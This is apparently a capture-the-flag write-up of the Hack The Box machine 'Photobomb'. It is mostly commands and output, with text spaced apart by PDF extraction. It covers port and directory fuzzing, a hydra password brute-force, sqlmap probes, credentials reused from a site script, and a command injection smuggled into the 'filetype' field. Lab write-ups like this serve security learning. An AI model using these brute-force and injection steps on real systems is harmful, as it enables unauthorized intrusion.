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• Machine: Photobomb (Medium; 10.10.11.182 ,
https://app.hackthebox.com/machines/Photobomb)

# /etc /hosts
1 0 . 1 0 . 1 1 . 1 8 2 photobomb . htb$

$ nmap −v −p− photobomb . htb
S t a r t i n g Nmap 7 . 9 2 ( ht tps : //nmap . org ) at 2022 −10 −14 18 : 44 CEST
I n i t i a t i n g Ping Scan at 18 : 44
Scanning photobomb . htb ( 1 0 . 1 0 . 1 1 . 1 8 2 ) [ 2 ports ]
Completed Ping Scan at 1 8 : 4 4 , 0 .05 s elapsed ( 1 t o t a l hosts )
I n i t i a t i n g Connect Scan at 18 : 44
Scanning photobomb . htb ( 1 0 . 1 0 . 1 1 . 1 8 2 ) [65535 ports ]
Discovered open port 80/ tcp on 1 0 . 1 0 . 1 1 . 1 8 2
Discovered open port 22/ tcp on 1 0 . 1 0 . 1 1 . 1 8 2

HTTP / 1 . 1 200 OK
Server : nginx / 1 . 1 8 . 0 ( Ubuntu )
Date : F r i , 14 Oct 2022 1 6 : 4 8 : 1 1 GMT
Content −Type : t e x t /html ; charset = utf −8
Connection : c lose
X−Xss − Protec t ion : 1 ; mode=block
X−Content −Type −Options : nosn i f f
X−Frame−Options : SAMEORIGIN
Content −Length : 843

GET / p r i n t e r HTTP / 1 . 1
Host : photobomb . htb
Cache− Control : max−age=0
Author i za t ion : Basic YXNkZmFzZGY6c2FkZmFzZGY=
Upgrade− Insecure −Requests : 1
User −Agent : Moz i l l a /5 .0 (Windows NT 1 0 . 0 ; Win64 ; x64 ) AppleWebKit /537 . 36 ( KHTML , l i k e Gecko ) Chrome / 1 0 5 . 0 . 5 1 9 5 . 1 0 2 Sa f a r i /537 . 36
Accept : t e x t /html , app l i ca t ion /xhtml+xml , app l i ca t ion /xml ; q =0 . 9 , image/ av i f , image/webp , image/apng ,*/* ; q =0 . 8 , app l i ca t ion /signed −exchange ; v=b3 ; q=0 .9
Referer : http : //photobomb . htb/
Accept −Encoding : gz ip , de f l a te
Accept −Language : en−US , en ; q=0 .9
Connection : c lose

$ f f u f −w ~/Downloads/ SecL i s t s /Discovery /DNS/bitquark −subdomains − top100000 . t x t : FUZZ −u http : //photobomb . htb/ −H ' Host : FUZZ . http : // photobomb . htb / ' − f s 0 , 154
# No re su l t s
$ f f u f −w ~/Downloads/ SecL i s t s /Discovery /Web−Content/ d i rec to ry − l i s t −2 .3 − small . t x t : FUZZ −u http : //photobomb . htb/FUZZ − f s 12193 −s
# d i rec to ry − l i s t −2 .3 − small . t x t
# or send a l e t t e r to C rea t i ve Commons , 1 7 1 Second Street ,
#
#
# P r i o r i t y −ordered case − sens i t i v e l i s t , where en t r i e s were found
# l icense , v i s i t http : // creativecommons . org/ l i censes /by−sa /3 .0/

# Su i te 300 , San Francisco , Ca l i f o rn i a , 94105 , USA .
#
# on at l eas t 3 d i f f e r en t hosts
#
# A t t r i bu t i on −Share A l i ke 3 . 0 L icense . To view a copy of t h i s
# Copyr ight 2007 James F i sher
# This work i s l i censed under the Crea t i ve Commons
p r i n t e r
p r i n t e r s
p r i n t e r f r i e nd l y
p r i n t e r _ f r i e nd l y
p r in te r_ i con
pr in te r − icon
pr in te r − f r i e nd l y
p r i n t e r F r i end l y
p r in te r supp l i e s
p r i n t e r 1

p r i n t e r 2
# . . .

4 4283 77468377 → Invalid number

S ina t ra ’doesnt know th i s d i t t y .

Try t h i s :
get '/ asdfsadfsdf ' do
” Hel lo World ”

end

We have a Sinatra server.

$ hydra − l username −P ~/Downloads/rockyou . t x t −s 80 − f photobomb . htb http − get / p r i n t e r

sqlmap −u ' http : //photobomb . htb/ pr in te r ' −−auth − type= bas ic −−auth −cred= tes tuser : tes tpass −−banner −v 5

$ cu r l ' ht tp : // photobomb . htb/photobomb . js ' \
−−compressed \
−− insecure

funct ion i n i t ( ) {
// Jameson : pre −populate creds fo r tech support as they keep fo r ge t t i n g them and email ing me
i f ( document . cookie . match ( / ^ ( . * ; ) ? \ s* isPhotoBombTechSupport\s*=\s * [ ^ ; ] + ( . * ) ? $ / ) ) {
document . getElementsByClassName ( ' creds ' ) [ 0 ] . s e t A t t r i bu t e ( ' href ' , ' ht tp : // pH0t0 : b0Mb !@photobomb . htb/ pr in te r ' ) ;

}
}
window . onload = i n i t ;

User: pH0t0 Password: b0Mb!

$ cu r l ' ht tp : // photobomb . htb/ pr in te r ' \
−H ' Accept : t e x t /html , app l i ca t ion /xhtml+xml , app l i ca t ion /xml ; q =0 . 9 , image/ av i f , image/webp , image/apng ,*/* ; q =0 . 8 , app l i ca t ion /signed −exchange ; v=b3 ; q =0 . 9 ' \
−H ' Accept −Language : en−US , en ; q =0 . 9 , de ; q =0 . 8 ' \
−H ' Author i za t ion : Bas ic cEgwdDA6YjBNYiE = ' \
−H ' Cache− Control : max−age =0 ' \
−H ' Connection : keep− a l i ve ' \
−H ' Content −Type : app l i ca t ion /x −www−form−urlencoded ' \
−H ' Or i g in : http : //photobomb . htb ' \
−H ' Referer : http : //photobomb . htb/ pr in te r ' \
−H ' Upgrade− Insecure −Requests : 1 ' \
−H ' User −Agent : Moz i l l a /5 .0 ( X11 ; L inux x86_64 ) AppleWebKit /537 . 36 ( KHTML , l i k e Gecko ) Chrome / 1 0 6 . 0 . 0 . 0 Sa f a r i / 5 3 7 . 3 6 ' \
−−data −raw ' photo=voicu −apostol −MWER49YaD−M−unsplash . jpg&f i l e t y p e = jpg&dimensions =1000 x1500 ' \
−−compressed \
−− insecure

$ sqlmap −u ' http : // photobomb . htb/ pr in te r ' −−data =” photo= asdf ” −−method GET −−dbs −−batch −time −sec =1 −−headers =” Author i za t ion : Bas ic cEgwdDA6YjBNYiE =”
[ 1 9 : 2 2 : 0 6 ] [ CRIT ICAL ] a l l tested parameters do not appear to be in j e c t ab l e . Try to increase values fo r ' − − leve l '/ ' − − r i s k ' opt ions i f you wish to perform more te s t s . I f you suspect that there i s some kind of protec t ion mechanism involved ( e . g . WAF) maybe you could t r y to use option ' − − tamper ' ( e . g . ' − − tamper=space2comment ' ) and/or switch ' − −random−agent
$ sqlmap −u ' http : // photobomb . htb/ pr in te r ' −−data =” f i l e t y p e = asdf ” −−method GET −−dbs −−batch −time −sec =1 −−headers =” Author i za t ion : Bas ic cEgwdDA6YjBNYiE =”
[ 1 9 : 2 2 : 3 6 ] [ CRIT ICAL ] a l l tested parameters do not appear to be in j e c t ab l e . Try to increase values fo r ' − − leve l '/ ' − − r i s k ' options i f you wish to perform more te s t s . I f you suspect that there i s some kind of protec t ion mechanism involved ( e . g . WAF) maybe you could t r y to use option ' − − tamper ' ( e . g . ' − − tamper=space2comment ' ) and/or switch ' − −random−agent '

We can download files, so its probably a file inclusion. Where is the
upload site? Let’s fuzz.

$ f f u f −w ~/Downloads/ SecL i s t s /Discovery /Web−Content/ d i rec to ry − l i s t −2 .3 − small . t x t : FUZZ −u http : //photobomb . htb/FUZZ − f s 12193 −s −H ” Author i za t ion : Bas ic cEgwdDA6YjBNYiE =”

cu r l ' ht tp : //photobomb . htb/ pr in te r ' −H ' Accept : t e x t /html , app l i ca t ion /xhtml+xml , app l i ca t ion /xml ; q =0 . 9 , image/ av i f , image/webp , image/apng ,*/* ; q =0 . 8 , app l i ca t ion /signed −exchange ; v=b3 ; q =0 . 9 '
−H ' Accept −Language : en−US , en ; q =0 . 9 , de ; q =0 . 8 ' −H ' Author i za t ion : Bas ic cEgwdDA6YjBNYiE = '
−H ' Cache− Control : max−age =0 ' −H ' Connection : keep− a l i ve '
−H ' Content −Type : app l i ca t ion /x −www−form−urlencoded '
−H ' Or i g in : http : //photobomb . htb ' −H ' Referer : ht tp : // photobomb . htb/ pr in te r '
−H ' Upgrade− Insecure −Requests : 1 ' −H ' User −Agent : Moz i l l a /5 .0 ( X11 ; L inux x86_64 ) AppleWebKit /537 . 36 ( KHTML , l i k e Gecko ) Chrome / 1 06 . 0 . 0 . 0 Sa f a r i / 5 3 7 . 3 6 '
−−data −raw ' photo=voicu −apostol −MWER49YaD−M−unsplash . jpg&f i l e t y p e = jpg '
−−compressed −− insecure > /tmp/asdf . html
# Shows er ror message with debug informat ion and regex , repeat with other parameters

post ' / p r i n t e r ' do
photo = params [ : photo ]
f i l e t y p e = params [ : f i l e t y p e ]
dimensions = params [ : dimensions ]

# handle inputs
i f photo . match ( / \ . { 2 } | \ / / )
ha l t 500 , ' I n v a l i d␣photo . '

end

i f ! F i l e T e s t . e x i s t ? ( ” source_images/ ” + photo )
ha l t 500 , ' Source␣photo␣does␣not␣e x i s t . '

end

i f ! f i l e t y p e . match (/^ ( png| jpg ) / )
ha l t 500 , ' I n v a l i d␣ f i l e t y p e . '

end

i f ! dimensions . match (/^[0 −9]+ x [0 −9]+ $ /)
ha l t 500 , ' I n v a l i d␣dimensions . '

end

cu r l ' ht tp : //photobomb . htb/ pr in te r ' −H ' Accept : t e x t /html , app l i ca t ion /xhtml+xml , app l i ca t ion /xml ; q =0 . 9 , image/ av i f , image/webp , image/apng ,*/* ; q =0 . 8 , app l i ca t ion /signed −exchange ; v=b3 ; q =0 . 9 '
−H ' Accept −Language : en−US , en ; q =0 . 9 , de ; q =0 . 8 ' −H ' Author i za t ion : Bas ic cEgwdDA6YjBNYiE = '
−H ' Cache− Control : max−age =0 ' −H ' Connection : keep− a l i ve '
−H ' Content −Type : app l i ca t ion /x −www−form−urlencoded '
−H ' Or i g in : http : //photobomb . htb ' −H ' Referer : ht tp : // photobomb . htb/ pr in te r '
−H ' Upgrade− Insecure −Requests : 1 ' −H ' User −Agent : Moz i l l a /5 .0 ( X11 ; L inux x86_64 ) AppleWebKit /537 . 36 ( KHTML , l i k e Gecko ) Chrome / 1 06 . 0 . 0 . 0 Sa f a r i / 5 3 7 . 3 6 '
−−data −raw ' photo=wolfgang −hasselmann−RLEgmd1O7gs−unsplash . jpg&f i l e t y p e = jpg ; touch asdf −3000x2000 . jpg&dimensions=3000x2000 '
−−compressed −− insecure −vvv

* Try ing 1 0 . 1 0 . 1 1 . 1 8 2 : 8 0 . . .

* Connected to photobomb . htb ( 1 0 . 1 0 . 1 1 . 1 8 2 ) port 80 ( #0 )
> POST / p r i n t e r HTTP / 1 . 1
> Host : photobomb . htb
> Accept −Encoding : def la te , gz ip , br , zs td
> Accept : t e x t /html , app l i ca t ion /xhtml+xml , app l i ca t ion /xml ; q =0 . 9 , image/ av i f , image/webp , image/apng ,*/* ; q =0 . 8 , app l i ca t ion /signed −exchange ; v=b3 ; q=0 .9
> Accept −Language : en−US , en ; q =0 . 9 , de ; q=0 .8
> Author i za t ion : Basic cEgwdDA6YjBNYiE=
> Cache− Control : max−age=0
> Connection : keep− a l i v e
> Content −Type : app l i ca t ion /x −www−form−urlencoded
> Or ig in : http : //photobomb . htb
> Referer : http : //photobomb . htb/ p r i n t e r
> Upgrade− Insecure −Requests : 1
> User −Agent : Moz i l l a /5 .0 ( X11 ; L inux x86_64 ) AppleWebKit /537 . 36 ( KHTML , l i k e Gecko ) Chrome / 1 0 6 . 0 . 0 . 0 Sa f a r i /537 . 36
> Content −Length : 109
>

* Mark bundle as not support ing multiuse
< HTTP / 1 . 1 500 In t e rna l Server E r ro r
< Server : nginx / 1 . 1 8 . 0 ( Ubuntu )
< Date : F r i , 14 Oct 2022 1 8 : 1 8 : 1 8 GMT
< Content −Type : t e x t /html ; charset = utf −8
< Content −Length : 73
< Connection : keep− a l i v e
< Content − D i spos i t i on : attachment ; f i lename=wolfgang −hasselmann−RLEgmd1O7gs−unsplash_3000x2000 . jpg ; touch asdf −3000x2000 . jpg
< X−Xss − Protec t ion : 1 ; mode=block
< X−Content −Type −Options : nosn i f f
< X−Frame−Options : SAMEORIGIN
<

* Connection #0 to host photobomb . htb l e f t i n t a c t
Fa i l ed to generate a copy of wolfgang −hasselmann−RLEgmd1O7gs−unsplash . jpg
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